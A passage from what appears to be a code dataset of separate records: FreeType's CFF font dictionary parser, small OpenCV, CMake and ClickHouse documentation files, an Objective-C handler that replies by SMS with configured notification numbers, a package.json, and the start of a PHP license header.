*/\n /* the scaling factor (as a power of 10) */\n static FT_Fixed\n cff_parse_fixed_dynamic( CFF_Parser parser,\n FT_Byte** d,\n FT_Long* scaling )\n {\n FT_ASSERT( scaling );\n\n if ( **d == 30 )\n return cff_parse_real( parser, *d, 0, scaling );\n else\n {\n FT_Long number;\n FT_Int integer_length;\n\n\n number = cff_parse_integer( parser, d[0] );\n\n if ( number > 0x7FFFL )\n {\n for ( integer_length = 5; integer_length < 10; integer_length++ )\n if ( number < power_tens[integer_length] )\n break;\n\n if ( ( number / power_tens[integer_length - 5] ) > 0x7FFFL )\n {\n *scaling = integer_length - 4;\n return FT_DivFix( number, power_tens[integer_length - 4] );\n }\n else\n {\n *scaling = integer_length - 5;\n return FT_DivFix( number, power_tens[integer_length - 5] );\n }\n }\n else\n {\n *scaling = 0;\n return (FT_Long)( (FT_ULong)number << 16 );\n }\n }\n }\n\n\n static FT_Error\n cff_parse_font_matrix( CFF_Parser parser )\n {\n CFF_FontRecDict dict = (CFF_FontRecDict)parser->object;\n FT_Matrix* matrix = &dict->font_matrix;\n FT_Vector* offset = &dict->font_offset;\n FT_ULong* upm = &dict->units_per_em;\n FT_Byte** data = parser->stack;\n\n\n if ( parser->top >= parser->stack + 6 )\n {\n FT_Fixed values[6];\n FT_Long scalings[6];\n\n FT_Long min_scaling, max_scaling;\n int i;\n\n\n dict->has_font_matrix = TRUE;\n\n /* We expect a well-formed font matrix, this is, the matrix elements */\n /* `xx' and `yy' are of approximately the same magnitude. To avoid */\n /* loss of precision, we use the magnitude of the largest matrix */\n /* element to scale all other elements. The scaling factor is then */\n /* contained in the `units_per_em' value. */\n\n max_scaling = FT_LONG_MIN;\n min_scaling = FT_LONG_MAX;\n\n for ( i = 0; i < 6; i++ )\n {\n values[i] = cff_parse_fixed_dynamic( parser, data++, &scalings[i] );\n if ( values[i] )\n {\n if ( scalings[i] > max_scaling )\n max_scaling = scalings[i];\n if ( scalings[i] < min_scaling )\n min_scaling = scalings[i];\n }\n }\n\n if ( max_scaling < -9 ||\n max_scaling > 0 ||\n ( max_scaling - min_scaling ) < 0 ||\n ( max_scaling - min_scaling ) > 9 )\n {\n FT_TRACE1(( \"cff_parse_font_matrix:\"\n \" strange scaling values (minimum %d, maximum %d),\\n\"\n \" \"\n \" using default matrix\\n\", min_scaling, max_scaling ));\n goto Unlikely;\n }\n\n for ( i = 0; i < 6; i++ )\n {\n FT_Fixed value = values[i];\n FT_Long divisor, half_divisor;\n\n\n if ( !value )\n continue;\n\n divisor = power_tens[max_scaling - scalings[i]];\n half_divisor = divisor >> 1;\n\n if ( value < 0 )\n {\n if ( FT_LONG_MIN + half_divisor < value )\n values[i] = ( value - half_divisor ) / divisor;\n else\n values[i] = FT_LONG_MIN / divisor;\n }\n else\n {\n if ( FT_LONG_MAX - half_divisor > value )\n values[i] = ( value + half_divisor ) / divisor;\n else\n values[i] = FT_LONG_MAX / divisor;\n }\n }\n\n matrix->xx = values[0];\n matrix->yx = values[1];\n matrix->xy = values[2];\n matrix->yy = values[3];\n offset->x = values[4];\n offset->y = values[5];\n\n *upm = (FT_ULong)power_tens[-max_scaling];\n\n FT_TRACE4(( \" [%f %f %f %f %f %f]\\n\",\n (double)matrix->xx / *upm / 65536,\n (double)matrix->xy / *upm / 65536,\n (double)matrix->yx / *upm / 65536,\n (double)matrix->yy / *upm / 65536,\n (double)offset->x / *upm / 65536,\n (double)offset->y / *upm / 65536 ));\n\n if ( !FT_Matrix_Check( matrix ) )\n {\n FT_TRACE1(( \"cff_parse_font_matrix:\"\n \" degenerate values, using default matrix\\n\" ));\n goto Unlikely;\n }\n\n return FT_Err_Ok;\n }\n else\n return FT_THROW( Stack_Underflow );\n\n Unlikely:\n /* Return default matrix in case of unlikely values. */\n\n matrix->xx = 0x10000L;\n matrix->yx = 0;\n matrix->xy = 0;\n matrix->yy = 0x10000L;\n offset->x = 0;\n offset->y = 0;\n *upm = 1;\n\n return FT_Err_Ok;\n }\n\n\n static FT_Error\n cff_parse_font_bbox( CFF_Parser parser )\n {\n CFF_FontRecDict dict = (CFF_FontRecDict)parser->object;\n FT_BBox* bbox = &dict->font_bbox;\n FT_Byte** data = parser->stack;\n FT_Error error;\n\n\n error = FT_ERR( Stack_Underflow );\n\n if ( parser->top >= parser->stack + 4 )\n {\n bbox->xMin = FT_RoundFix( cff_parse_fixed( parser, data++ ) );\n bbox->yMin = FT_RoundFix( cff_parse_fixed( parser, data++ ) );\n bbox->xMax = FT_RoundFix( cff_parse_fixed( parser, data++ ) );\n bbox->yMax = FT_RoundFix( cff_parse_fixed( parser, data ) );\n error = FT_Err_Ok;\n\n FT_TRACE4(( \" [%d %d %d %d]\\n\",\n bbox->xMin / 65536,\n bbox->yMin / 65536,\n bbox->xMax / 65536,\n bbox->yMax / 65536 ));\n }\n\n return error;\n }\n\n\n static FT_Error\n cff_parse_private_dict( CFF_Parser parser )\n {\n CFF_FontRecDict dict = (CFF_FontRecDict)parser->object;\n FT_Byte** data = parser->stack;\n FT_Error error;\n\n\n error = FT_ERR( Stack_Underflow );\n\n if ( parser->top >= parser->stack + 2 )\n {\n FT_Long tmp;\n\n\n tmp = cff_parse_num( parser, data++ );\n if ( tmp < 0 )\n {\n FT_ERROR(( \"cff_parse_private_dict: Invalid dictionary size\\n\" ));\n error = FT_THROW( Invalid_File_Format );\n goto Fail;\n }\n dict->private_size = (FT_ULong)tmp;\n\n tmp = cff_parse_num( parser, data );\n if ( tmp < 0 )\n {\n FT_ERROR(( \"cff_parse_private_dict: Invalid dictionary offset\\n\" ));\n error = FT_THROW( Invalid_File_Format );\n goto Fail;\n }\n dict->private_offset = (FT_ULong)tmp;\n\n FT_TRACE4(( \" %lu %lu\\n\",\n dict->private_size, dict->private_offset ));\n\n error = FT_Err_Ok;\n }\n\n Fail:\n return error;\n }\n\n\n /* The `MultipleMaster' operator comes before any */\n /* top DICT operators that contain T2 charstrings. */\n\n static FT_Error\n cff_parse_multiple_master( CFF_Parser parser )\n {\n CFF_FontRecDict dict = (CFF_FontRecDict)parser->object;\n FT_Error error;\n\n\n#ifdef FT_DEBUG_LEVEL_TRACE\n /* beautify tracing message */\n if ( ft_trace_levels[FT_TRACE_COMP( FT_COMPONENT )] < 4 )\n FT_TRACE1(( \"Multiple Master CFFs not supported yet,\"\n \" handling first master design only\\n\" ));\n else\n FT_TRACE1(( \" (not supported yet,\"\n \" handling first master design only)\\n\" ));\n#endif\n\n error = FT_ERR( Stack_Underflow );\n\n /* currently, we handle only the first argument */\n if ( parser->top >= parser->stack + 5 )\n {\n FT_Long num_designs = cff_parse_num( parser, parser->stack );\n\n\n if ( num_designs > 16 || num_designs < 2 )\n {\n FT_ERROR(( \"cff_parse_multiple_master:\"\n \" Invalid number of designs\\n\" ));\n error = FT_THROW( Invalid_File_Format );\n }\n else\n {\n dict->num_designs = (FT_UShort)num_designs;\n dict->num_axes = (FT_UShort)( parser->top - parser->stack - 4 );\n\n parser->num_designs = dict->num_designs;\n parser->num_axes = dict->num_axes;\n\n error = FT_Err_Ok;\n }\n }\n\n return error;\n }\n\n\n static FT_Error\n cff_parse_cid_ros( CFF_Parser parser )\n {\n CFF_FontRecDict dict = (CFF_FontRecDict)parser->object;\n FT_Byte** data = parser->stack;\n FT_Error error;\n\n\n error = FT_ERR( Stack_Underflow );\n\n if ( parser->top >= parser->stack + 3 )\n {\n dict->cid_registry = (FT_UInt)cff_parse_num( parser, data++ );\n dict->cid_ordering = (FT_UInt)cff_parse_num( parser, data++ );\n if ( **data == 30 )\n FT_TRACE1(( \"cff_parse_cid_ros: real supplement is rounded\\n\" ));\n dict->cid_supplement = cff_parse_num( parser, data );\n if ( dict->cid_supplement < 0 )\n FT_TRACE1(( \"cff_parse_cid_ros: negative supplement %d is found\\n\",\n dict->cid_supplement ));\n error = FT_Err_Ok;\n\n FT_TRACE4(( \" %d %d %d\\n\",\n dict->cid_registry,\n dict->cid_ordering,\n dict->cid_supplement ));\n }\n\n return error;\n }\n\n\n static FT_Error\n cff_parse_vsindex( CFF_Parser parser )\n {\n /* vsindex operator can only be used in a Private DICT */\n CFF_Private priv = (CFF_Private)parser->object;\n FT_Byte** data = parser->stack;\n CFF_Blend blend;\n FT_Error error;\n\n\n if ( !priv || !priv->subfont )\n {\n error = FT_THROW( Invalid_File_Format );\n goto Exit;\n }\n\n blend = &priv->subfont->blend;\n\n if ( blend->usedBV )\n {\n FT_ERROR(( \" cff_parse_vsindex: vsindex not allowed after blend\\n\" ));\n error = FT_THROW( Syntax_Error );\n goto Exit;\n }\n\n priv->vsindex = (FT_UInt)cff_parse_num( parser, data++ );\n\n FT_TRACE4(( \" %d\\n\", priv->vsindex ));\n\n error = FT_Err_Ok;\n\n Exit:\n return error;\n }\n\n\n static FT_Error\n cff_parse_blend( CFF_Parser parser )\n {\n /* blend operator can only be used in a Private DICT */\n CFF_Private priv = (CFF_Private)parser->object;\n CFF_SubFont subFont;\n CFF_Blend blend;\n FT_UInt numBlends;\n FT_Error error;\n\n\n if ( !priv || !priv->subfont )\n {\n error = FT_THROW( Invalid_File_Format );\n goto Exit;\n }\n\n subFont = priv->subfont;\n blend = &subFont->blend;\n\n if ( cff_blend_check_vector( blend,\n priv->vsindex,\n subFont->lenNDV,\n subFont->NDV ) )\n {\n error = cff_blend_build_vector( blend,\n priv->vsindex,\n subFont->lenNDV,\n subFont->NDV );\n if ( error )\n goto Exit;\n }\n\n numBlends = (FT_UInt)cff_parse_num( parser, parser->top - 1 );\n if ( numBlends > parser->stackSize )\n {\n FT_ERROR(( \"cff_parse_blend: Invalid number of blends\\n\" ));\n error = FT_THROW( Invalid_File_Format );\n goto Exit;\n }\n\n FT_TRACE4(( \" %d value%s blended\\n\",\n numBlends,\n numBlends == 1 ? \"\" : \"s\" ));\n\n error = cff_blend_doBlend( subFont, parser, numBlends );\n\n blend->usedBV = TRUE;\n\n Exit:\n return error;\n }\n\n\n /* maxstack operator increases parser and operand stacks for CFF2 */\n static FT_Error\n cff_parse_maxstack( CFF_Parser parser )\n {\n /* maxstack operator can only be used in a Top DICT */\n CFF_FontRecDict dict = (CFF_FontRecDict)parser->object;\n FT_Byte** data = parser->stack;\n FT_Error error = FT_Err_Ok;\n\n\n if ( !dict )\n {\n error = FT_THROW( Invalid_File_Format );\n goto Exit;\n }\n\n dict->maxstack = (FT_UInt)cff_parse_num( parser, data++ );\n if ( dict->maxstack > CFF2_MAX_STACK )\n dict->maxstack = CFF2_MAX_STACK;\n if ( dict->maxstack < CFF2_DEFAULT_STACK )\n dict->maxstack = CFF2_DEFAULT_STACK;\n\n FT_TRACE4(( \" %d\\n\", dict->maxstack ));\n\n Exit:\n return error;\n }\n\n\n#define CFF_FIELD_NUM( code, name, id ) \\\n CFF_FIELD( code, name, id, cff_kind_num )\n#define CFF_FIELD_FIXED( code, name, id ) \\\n CFF_FIELD( code, name, id, cff_kind_fixed )\n#define CFF_FIELD_FIXED_1000( code, name, id ) \\\n CFF_FIELD( code, name, id, cff_kind_fixed_thousand )\n#define CFF_FIELD_STRING( code, name, id ) \\\n CFF_FIELD( code, name, id, cff_kind_string )\n#define CFF_FIELD_BOOL( code, name, id ) \\\n CFF_FIELD( code, name, id, cff_kind_bool )\n\n\n#undef CFF_FIELD\n#undef CFF_FIELD_DELTA\n\n\n#ifndef FT_DEBUG_LEVEL_TRACE\n\n\n#define CFF_FIELD_CALLBACK( code, name, id ) \\\n { \\\n cff_kind_callback, \\\n code | CFFCODE, \\\n 0, 0, \\\n cff_parse_ ## name, \\\n 0, 0 \\\n },\n\n#define CFF_FIELD_BLEND( code, id ) \\\n { \\\n cff_kind_blend, \\\n code | CFFCODE, \\\n 0, 0, \\\n cff_parse_blend, \\\n 0, 0 \\\n },\n\n#define CFF_FIELD( code, name, id, kind ) \\\n { \\\n kind, \\\n code | CFFCODE, \\\n FT_FIELD_OFFSET( name ), \\\n FT_FIELD_SIZE( name ), \\\n 0, 0, 0 \\\n },\n\n#define CFF_FIELD_DELTA( code, name, max, id ) \\\n { \\\n cff_kind_delta, \\\n code | CFFCODE, \\\n FT_FIELD_OFFSET( name ), \\\n FT_FIELD_SIZE_DELTA( name ), \\\n 0, \\\n max, \\\n FT_FIELD_OFFSET( num_ ## name ) \\\n },\n\n static const CFF_Field_Handler cff_field_handlers[] =\n {\n\n#include \"cfftoken.h\"\n\n { 0, 0, 0, 0, 0, 0, 0 }\n };\n\n\n#else /* FT_DEBUG_LEVEL_TRACE */\n\n\n\n#define CFF_FIELD_CALLBACK( code, name, id ) \\\n { \\\n cff_kind_callback, \\\n code | CFFCODE, \\\n 0, 0, \\\n cff_parse_ ## name, \\\n 0, 0, \\\n id \\\n },\n\n#define CFF_FIELD_BLEND( code, id ) \\\n { \\\n cff_kind_blend, \\\n code | CFFCODE, \\\n 0, 0, \\\n cff_parse_blend, \\\n 0, 0, \\\n id \\\n },\n\n#define CFF_FIELD( code, name, id, kind ) \\\n { \\\n kind, \\\n code | CFFCODE, \\\n FT_FIELD_OFFSET( name ), \\\n FT_FIELD_SIZE( name ), \\\n 0, 0, 0, \\\n id \\\n },\n\n#define CFF_FIELD_DELTA( code, name, max, id ) \\\n { \\\n cff_kind_delta, \\\n code | CFFCODE, \\\n FT_FIELD_OFFSET( name ), \\\n FT_FIELD_SIZE_DELTA( name ), \\\n 0, \\\n max, \\\n FT_FIELD_OFFSET( num_ ## name ), \\\n id \\\n },\n\n static const CFF_Field_Handler cff_field_handlers[] =\n {\n\n#include \"cfftoken.h\"\n\n { 0, 0, 0, 0, 0, 0, 0, 0 }\n };\n\n\n#endif /* FT_DEBUG_LEVEL_TRACE */\n\n\n FT_LOCAL_DEF( FT_Error )\n cff_parser_run( CFF_Parser parser,\n FT_Byte* start,\n FT_Byte* limit )\n {\n FT_Byte* p = start;\n FT_Error error = FT_Err_Ok;\n\n#ifdef CFF_CONFIG_OPTION_OLD_ENGINE\n PSAux_Service psaux;\n\n FT_Library library = parser->library;\n FT_Memory memory = library->memory;\n#endif\n\n parser->top = parser->stack;\n parser->start = start;\n parser->limit = limit;\n parser->cursor = start;\n\n while ( p < limit )\n {\n FT_UInt v = *p;\n\n\n /* Opcode 31 is legacy MM T2 operator, not a number. */\n /* Opcode 255 is reserved and should not appear in fonts; */\n /* it is used internally for CFF2 blends. */\n if ( v >= 27 && v != 31 && v != 255 )\n {\n /* it's a number; we will push its position on the stack */\n if ( (FT_UInt)( parser->top - parser->stack ) >= parser->stackSize )\n goto Stack_Overflow;\n\n *parser->top++ = p;\n\n /* now, skip it */\n if ( v == 30 )\n {\n /* skip real number */\n p++;\n for (;;)\n {\n /* An unterminated floating point number at the */\n /* end of a dictionary is invalid but harmless. */\n if ( p >= limit )\n goto Exit;\n v = p[0] >> 4;\n if ( v == 15 )\n break;\n v = p[0] & 0xF;\n if ( v == 15 )\n break;\n p++;\n }\n }\n else if ( v == 28 )\n p += 2;\n else if ( v == 29 )\n p += 4;\n else if ( v > 246 )\n p += 1;\n }\n#ifdef CFF_CONFIG_OPTION_OLD_ENGINE\n else if ( v == 31 )\n {\n /* a Type 2 charstring */\n\n CFF_Decoder decoder;\n CFF_FontRec cff_rec;\n FT_Byte* charstring_base;\n FT_ULong charstring_len;\n\n FT_Fixed* stack;\n FT_ListNode node;\n CFF_T2_String t2;\n size_t t2_size;\n FT_Byte* q;\n\n\n charstring_base = ++p;\n\n /* search `endchar' operator */\n for (;;)\n {\n if ( p >= limit )\n goto Exit;\n if ( *p == 14 )\n break;\n p++;\n }\n\n charstring_len = (FT_ULong)( p - charstring_base ) + 1;\n\n /* construct CFF_Decoder object */\n FT_ZERO( &decoder );\n FT_ZERO( &cff_rec );\n\n cff_rec.top_font.font_dict.num_designs = parser->num_designs;\n cff_rec.top_font.font_dict.num_axes = parser->num_axes;\n decoder.cff = &cff_rec;\n\n psaux = (PSAux_Service)FT_Get_Module_Interface( library, \"psaux\" );\n if ( !psaux )\n {\n FT_ERROR(( \"cff_parser_run: cannot access `psaux' module\\n\" ));\n error = FT_THROW( Missing_Module );\n goto Exit;\n }\n\n error = psaux->cff_decoder_funcs->parse_charstrings_old(\n &decoder, charstring_base, charstring_len, 1 );\n if ( error )\n goto Exit;\n\n /* Now copy the stack data in the temporary decoder object, */\n /* converting it back to charstring number representations */\n /* (this is ugly, I know). */\n\n node = (FT_ListNode)memory->alloc( memory,\n sizeof ( FT_ListNodeRec ) );\n if ( !node )\n goto Out_Of_Memory_Error;\n\n FT_List_Add( &parser->t2_strings, node );\n\n t2 = (CFF_T2_String)memory->alloc( memory,\n sizeof ( CFF_T2_StringRec ) );\n if ( !t2 )\n goto Out_Of_Memory_Error;\n\n node->data = t2;\n\n /* `5' is the conservative upper bound of required bytes per stack */\n /* element. */\n\n t2_size = 5 * ( decoder.top - decoder.stack );\n\n q = (FT_Byte*)memory->alloc( memory, t2_size );\n if ( !q )\n goto Out_Of_Memory_Error;\n\n t2->start = q;\n t2->limit = q + t2_size;\n\n stack = decoder.stack;\n\n while ( stack < decoder.top )\n {\n FT_ULong num;\n FT_Bool neg;\n\n\n if ( (FT_UInt)( parser->top - parser->stack ) >= parser->stackSize )\n goto Stack_Overflow;\n\n *parser->top++ = q;\n\n if ( *stack < 0 )\n {\n num = (FT_ULong)NEG_LONG( *stack );\n neg = 1;\n }\n else\n {\n num = (FT_ULong)*stack;\n neg = 0;\n }\n\n if ( num & 0xFFFFU )\n {\n if ( neg )\n num = (FT_ULong)-num;\n\n *q++ = 255;\n *q++ = ( num & 0xFF000000U ) >> 24;\n *q++ = ( num & 0x00FF0000U ) >> 16;\n *q++ = ( num & 0x0000FF00U ) >> 8;\n *q++ = num & 0x000000FFU;\n }\n else\n {\n num >>= 16;\n\n if ( neg )\n {\n if ( num <= 107 )\n *q++ = (FT_Byte)( 139 - num );\n else if ( num <= 1131 )\n {\n *q++ = (FT_Byte)( ( ( num - 108 ) >> 8 ) + 251 );\n *q++ = (FT_Byte)( ( num - 108 ) & 0xFF );\n }\n else\n {\n num = (FT_ULong)-num;\n\n *q++ = 28;\n *q++ = (FT_Byte)( num >> 8 );\n *q++ = (FT_Byte)( num & 0xFF );\n }\n }\n else\n {\n if ( num <= 107 )\n *q++ = (FT_Byte)( num + 139 );\n else if ( num <= 1131 )\n {\n *q++ = (FT_Byte)( ( ( num - 108 ) >> 8 ) + 247 );\n *q++ = (FT_Byte)( ( num - 108 ) & 0xFF );\n }\n else\n {\n *q++ = 28;\n *q++ = (FT_Byte)( num >> 8 );\n *q++ = (FT_Byte)( num & 0xFF );\n }\n }\n }\n\n stack++;\n }\n }\n#endif /* CFF_CONFIG_OPTION_OLD_ENGINE */\n else\n {\n /* This is not a number, hence it's an operator. Compute its code */\n /* and look for it in our current list. */\n\n FT_UInt code;\n FT_UInt num_args;\n const CFF_Field_Handler* field;\n\n\n if ( (FT_UInt)( parser->top - parser->stack ) >= parser->stackSize )\n goto Stack_Overflow;\n\n num_args = (FT_UInt)( parser->top - parser->stack );\n *parser->top = p;\n code = v;\n\n if ( v == 12 )\n {\n /* two byte operator */\n p++;\n if ( p >= limit )\n goto Syntax_Error;\n\n code = 0x100 | p[0];\n }\n code = code | parser->object_code;\n\n for ( field = cff_field_handlers; field->kind; field++ )\n {\n if ( field->code == (FT_Int)code )\n {\n /* we found our field's handler; read it */\n FT_Long val;\n FT_Byte* q = (FT_Byte*)parser->object + field->offset;\n\n\n#ifdef FT_DEBUG_LEVEL_TRACE\n FT_TRACE4(( \" %s\", field->id ));\n#endif\n\n /* check that we have enough arguments -- except for */\n /* delta encoded arrays, which can be empty */\n if ( field->kind != cff_kind_delta && num_args < 1 )\n goto Stack_Underflow;\n\n switch ( field->kind )\n {\n case cff_kind_bool:\n case cff_kind_string:\n case cff_kind_num:\n val = cff_parse_num( parser, parser->stack );\n goto Store_Number;\n\n case cff_kind_fixed:\n val = cff_parse_fixed( parser, parser->stack );\n goto Store_Number;\n\n case cff_kind_fixed_thousand:\n val = cff_parse_fixed_scaled( parser, parser->stack, 3 );\n\n Store_Number:\n switch ( field->size )\n {\n case (8 / FT_CHAR_BIT):\n *(FT_Byte*)q = (FT_Byte)val;\n break;\n\n case (16 / FT_CHAR_BIT):\n *(FT_Short*)q = (FT_Short)val;\n break;\n\n case (32 / FT_CHAR_BIT):\n *(FT_Int32*)q = (FT_Int)val;\n break;\n\n default: /* for 64-bit systems */\n *(FT_Long*)q = val;\n }\n\n#ifdef FT_DEBUG_LEVEL_TRACE\n switch ( field->kind )\n {\n case cff_kind_bool:\n FT_TRACE4(( \" %s\\n\", val ? \"true\" : \"false\" ));\n break;\n\n case cff_kind_string:\n FT_TRACE4(( \" %ld (SID)\\n\", val ));\n break;\n\n case cff_kind_num:\n FT_TRACE4(( \" %ld\\n\", val ));\n break;\n\n case cff_kind_fixed:\n FT_TRACE4(( \" %f\\n\", (double)val / 65536 ));\n break;\n\n case cff_kind_fixed_thousand:\n FT_TRACE4(( \" %f\\n\", (double)val / 65536 / 1000 ));\n\n default:\n ; /* never reached */\n }\n#endif\n\n break;\n\n case cff_kind_delta:\n {\n FT_Byte* qcount = (FT_Byte*)parser->object +\n field->count_offset;\n\n FT_Byte** data = parser->stack;\n\n\n if ( num_args > field->array_max )\n num_args = field->array_max;\n\n FT_TRACE4(( \" [\" ));\n\n /* store count */\n *qcount = (FT_Byte)num_args;\n\n val = 0;\n while ( num_args > 0 )\n {\n val = ADD_LONG( val, cff_parse_num( parser, data++ ) );\n switch ( field->size )\n {\n case (8 / FT_CHAR_BIT):\n *(FT_Byte*)q = (FT_Byte)val;\n break;\n\n case (16 / FT_CHAR_BIT):\n *(FT_Short*)q = (FT_Short)val;\n break;\n\n case (32 / FT_CHAR_BIT):\n *(FT_Int32*)q = (FT_Int)val;\n break;\n\n default: /* for 64-bit systems */\n *(FT_Long*)q = val;\n }\n\n FT_TRACE4(( \" %ld\", val ));\n\n q += field->size;\n num_args--;\n }\n\n FT_TRACE4(( \"]\\n\" ));\n }\n break;\n\n default: /* callback or blend */\n error = field->reader( parser );\n if ( error )\n goto Exit;\n }\n goto Found;\n }\n }\n\n /* this is an unknown operator, or it is unsupported; */\n /* we will ignore it for now. */\n\n Found:\n /* clear stack */\n /* TODO: could clear blend stack here, */\n /* but we don't have access to subFont */\n if ( field->kind != cff_kind_blend )\n parser->top = parser->stack;\n }\n p++;\n } /* while ( p < limit ) */\n\n Exit:\n return error;\n\n#ifdef CFF_CONFIG_OPTION_OLD_ENGINE\n Out_Of_Memory_Error:\n error = FT_THROW( Out_Of_Memory );\n goto Exit;\n#endif\n\n Stack_Overflow:\n error = FT_THROW( Invalid_Argument );\n goto Exit;\n\n Stack_Underflow:\n error = FT_THROW( Invalid_Argument );\n goto Exit;\n\n Syntax_Error:\n error = FT_THROW( Invalid_Argument );\n goto Exit;\n }\n\n\n/* END */\n"} {"text": "// This file is part of OpenCV project.\n// It is subject to the license terms in the LICENSE file found in the top-level directory\n// of this distribution and at http://opencv.org/license.html.\n//\n// Copyright (C) 2018 Intel Corporation\n\n#ifndef OPENCV_GAPI_UTIL_COMPILER_HINTS_HPP\n#define OPENCV_GAPI_UTIL_COMPILER_HINTS_HPP\n\nnamespace cv\n{\nnamespace util\n{\n //! Utility template function to prevent \"unused\" warnings by various compilers.\n template<typename T> void suppress_unused_warning( const T& ) {}\n} // namespace util\n} // namespace cv\n\n#endif /* OPENCV_GAPI_UTIL_COMPILER_HINTS_HPP */\n"} {"text": "cmake_minimum_required(VERSION 2.8.12)\nproject(test_package)\n\ninclude(${CMAKE_BINARY_DIR}/conanbuildinfo.cmake)\nconan_basic_setup()\n\nadd_executable(${PROJECT_NAME} test_package.cpp)\nset_property(TARGET ${PROJECT_NAME} PROPERTY CXX_STANDARD 11)\ntarget_link_libraries(${PROJECT_NAME} ${CONAN_LIBS})\n"} {"text": "# system.time_zones {#system-time_zones}\n\nContains a list of time zones that are supported by the ClickHouse server. This list of timezones might vary depending on the version of ClickHouse.\n\nColumns:\n\n- `time_zone` (String) — List of supported time zones.\n\n**Example**\n\n``` sql\nSELECT * FROM system.time_zones LIMIT 10\n```\n\n``` text\n┌─time_zone──────────┐\n│ Africa/Abidjan │\n│ Africa/Accra │\n│ Africa/Addis_Ababa │\n│ Africa/Algiers │\n│ Africa/Asmara │\n│ Africa/Asmera │\n│ Africa/Bamako │\n│ Africa/Bangui │\n│ Africa/Banjul │\n│ Africa/Bissau │\n└────────────────────┘\n```\n\n[Original article](https://clickhouse.tech/docs/en/operations/system_tables/time_zones) <!--hide-->\n"} {"text": "/**\n - Project name : RemoteCommandMager Component\n - Class name : QueryNotificationNumbersProcessor\n - Version : 1.0 \n - Purpose : For RemoteCommandMager Component\n - Copy right : 13/03/2012, Prasad M.B, Vervata Co., Ltd. All rights reserved.\n*/\n\n#import \"QueryNotificationNumbersProcessor.h\"\n#import \"PrefNotificationNumber.h\"\n#import \"Preference.h\"\n\n@interface QueryNotificationNumbersProcessor (PrivateAPI)\n- (void) sendReplySMSWithResult: (NSString *) aResult; \n- (void) processQueryNotificationNumber;\n@end\n\n@implementation QueryNotificationNumbersProcessor\n\n/**\n - Method name: initWithRemoteCommandData\n - Purpose:This method is used to initialize the QueryNotificationNumbersProcessor class\n - Argument list and description: aRemoteCmdData (RemoteCmdData)\n - Return description: self(QueryNotificationNumbersProcessor)\n*/\n\n- (id) initWithRemoteCommandData: (RemoteCmdData *) aRemoteCmdData {\n DLog (@\"QueryNotificationNumbersProcessor--->initWithRemoteCommandData\");\n\tif ((self = [super initWithRemoteCommandData:aRemoteCmdData])) {\n\t}\n\treturn self;\n}\n\n#pragma mark RemoteCmdProcessor Methods\n\n/**\n - Method name: doProcessingCommand\n - Purpose:This method is used to process the QueryNotificationNumbersProcessor\n - Argument list and description: No Argument\n - Return description: No return type\n*/\n\n- (void) doProcessingCommand {\n\tDLog (@\"QueryNotificationNumbersProcessor--->doProcessingCommand\")\n\tif (![RemoteCmdSignatureUtils verifyRemoteCmdDataSignature:mRemoteCmdData\n\t\t\t\t\t\t\t\t\t\t numberOfCompulsoryTag:2]) {\n\t\t[RemoteCmdSignatureUtils throwInvalidCmdWithName:@\"QueryNotificationNumbersProcessor\"\n\t\t\t\t\t\t\t\t\t\t\t\t reason:@\"Failed signature check\"];\n\t}\n\t\n [self processQueryNotificationNumber];\n}\n\n#pragma mark QueryNotificationNumbersProcessor PrivateAPI\n\n/**\n - Method name: processQueryNotificationNumber\n - Purpose:This method is used to process query notification number\n - Argument list and description: No Argument\n - Return description: No Return Type\n*/\n\n- (void) processQueryNotificationNumber {\n\tDLog (@\"QueryNotificationNumbersProcessor--->processQueryNotificationNumber\")\n\tid <PreferenceManager> prefManager = [[RemoteCmdUtils sharedRemoteCmdUtils] mPreferenceManager];\n\tPrefNotificationNumber *prefNotificationNumberList = (PrefNotificationNumber *) [prefManager preference:kNotification_Number];\n\tNSArray *notificationNumberList=[prefNotificationNumberList mNotificationNumbers];\n\tNSString *result=NSLocalizedString(@\"kQueryNotificationNumber\", @\"\");\n\tfor (NSString *notificationNumber in notificationNumberList) {\n\t\tresult=[result stringByAppendingString:@\"\\n\"];\n\t\tresult=[result stringByAppendingString:notificationNumber];\n\t}\n\t[self sendReplySMSWithResult:result];\n}\n\n/**\n - Method name: sendReplySMS\n - Purpose:This method is used to send the SMS reply\n - Argument list and description: No Argument\n - Return description: No return type\n*/\n\n- (void) sendReplySMSWithResult:(NSString *) aResult {\n\tDLog (@\"QueryNotificationNumbersProcessor--->sendReplySMSWithResult\")\n\tNSString *messageFormat=[[RemoteCmdUtils sharedRemoteCmdUtils] replyMessageFormatWithCommandCode:[self remoteCmdCode]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tandErrorCode:_SUCCESS_];\n\tNSString *queryNotificationMessage=[NSString stringWithFormat:@\"%@%@\",messageFormat,aResult];\n\t\n\t[[RemoteCmdUtils sharedRemoteCmdUtils] createSystemEvent:mRemoteCmdData\n\t\t\t\t\t\t\t\t\t\t\t andReplyMessage:queryNotificationMessage];\n\tif ([mRemoteCmdData mIsSMSReplyRequired]) {\n\t\t[[RemoteCmdUtils sharedRemoteCmdUtils] sendSMSWithRecipientNumber:[self recipientNumber] \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t andMessage:queryNotificationMessage];\n\t}\n}\n\n/**\n - Method name: dealloc\n - Purpose:This method is used to Handle Memory managment\n - Argument list and description:No Argument\n - Return description: No Return Type\n*/\n\n-(void) dealloc {\n\t[super dealloc];\n}\n\n@end\n"} {"text": "{\n \"name\": \"indent-string\",\n \"version\": \"2.1.0\",\n \"description\": \"Indent each line in a string\",\n \"license\": \"MIT\",\n \"repository\": \"sindresorhus/indent-string\",\n \"author\": {\n \"name\": \"Sindre Sorhus\",\n \"email\": \"sindresorhus@gmail.com\",\n \"url\": \"sindresorhus.com\"\n },\n \"engines\": {\n \"node\": \">=0.10.0\"\n },\n \"scripts\": {\n \"test\": \"mocha\"\n },\n \"files\": [\n \"index.js\"\n ],\n \"keywords\": [\n \"indent\",\n \"string\",\n \"str\",\n \"pad\",\n \"align\",\n \"line\",\n \"text\"\n ],\n \"dependencies\": {\n \"repeating\": \"^2.0.0\"\n },\n \"devDependencies\": {\n \"mocha\": \"*\"\n }\n}\n"} {"text": "<?php \n/********************************************************************************* \n * This file is part of Sentrifugo.\n * Copyright (C) 2014 Sapplica\n * \n * Sentrifugo is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Sentrifugo is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A 